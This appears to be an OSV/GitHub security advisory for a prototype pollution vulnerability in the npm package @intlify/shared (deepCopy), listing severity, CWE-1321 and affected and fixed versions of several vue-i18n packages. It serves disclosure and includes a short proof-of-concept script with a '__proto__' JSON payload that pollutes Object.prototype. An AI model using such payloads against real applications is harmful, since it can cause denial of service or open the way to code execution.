GHSA-hjwq-mjwj-4x6c

Suggest an improvement
Source
https://github.com/advisories/GHSA-hjwq-mjwj-4x6c
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-hjwq-mjwj-4x6c/GHSA-hjwq-mjwj-4x6c.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-hjwq-mjwj-4x6c
Aliases
Published
2024-12-02T17:26:47Z
Modified
2024-12-02T17:57:16.640985Z
Severity
  • 6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X CVSS Calculator
Summary
@intlify/shared Prototype Pollution vulnerability
Details

Vulnerability type: Prototype Pollution

Affected Package:

Product: @intlify/shared Version: 10.0.4

Vulnerability Location(s):

node_modules/@intlify/shared/dist/shared.cjs:232:26

Description:

The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @intlify/shared@10.0.4
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}
(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

References

Prototype Pollution Leading to Remote Code Execution - An example of how prototype pollution can lead to command code injection.

OWASP Prototype Pollution Prevention Cheat Sheet - Best practices for preventing prototype pollution.

PortSwigger Guide on Preventing Prototype Pollution - A detailed guide to securing your applications against prototype pollution.

Database specific
{
    "nvd_published_at": "2024-11-29T19:15:09Z",
    "cwe_ids": [
        "CWE-1321"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-02T17:26:47Z"
}
References

Affected packages

npm / @intlify/shared

Package

Name
@intlify/shared
View open source insights on deps.dev
Purl
pkg:npm/%40intlify/shared

Affected ranges

Type
SEMVER
Events
Introduced
9.7.0
Fixed
9.14.2

npm / @intlify/vue-i18n-core

Package

Name
@intlify/vue-i18n-core
View open source insights on deps.dev
Purl
pkg:npm/%40intlify/vue-i18n-core

Affected ranges

Type
SEMVER
Events
Introduced
9.7.0
Fixed
9.14.2

npm / vue-i18n

Package

Affected ranges

Type
SEMVER
Events
Introduced
9.7.0
Fixed
9.14.2

npm / petite-vue-i18n

Package

Affected ranges

Type
SEMVER
Events
Introduced
10.0.0
Fixed
10.0.5

npm / @intlify/shared

Package

Name
@intlify/shared
View open source insights on deps.dev
Purl
pkg:npm/%40intlify/shared

Affected ranges

Type
SEMVER
Events
Introduced
10.0.0
Fixed
10.0.5

npm / @intlify/vue-i18n-core

Package

Name
@intlify/vue-i18n-core
View open source insights on deps.dev
Purl
pkg:npm/%40intlify/vue-i18n-core

Affected ranges

Type
SEMVER
Events
Introduced
10.0.0
Fixed
10.0.5

npm / vue-i18n

Package

Affected ranges

Type
SEMVER
Events
Introduced
10.0.0
Fixed
10.0.5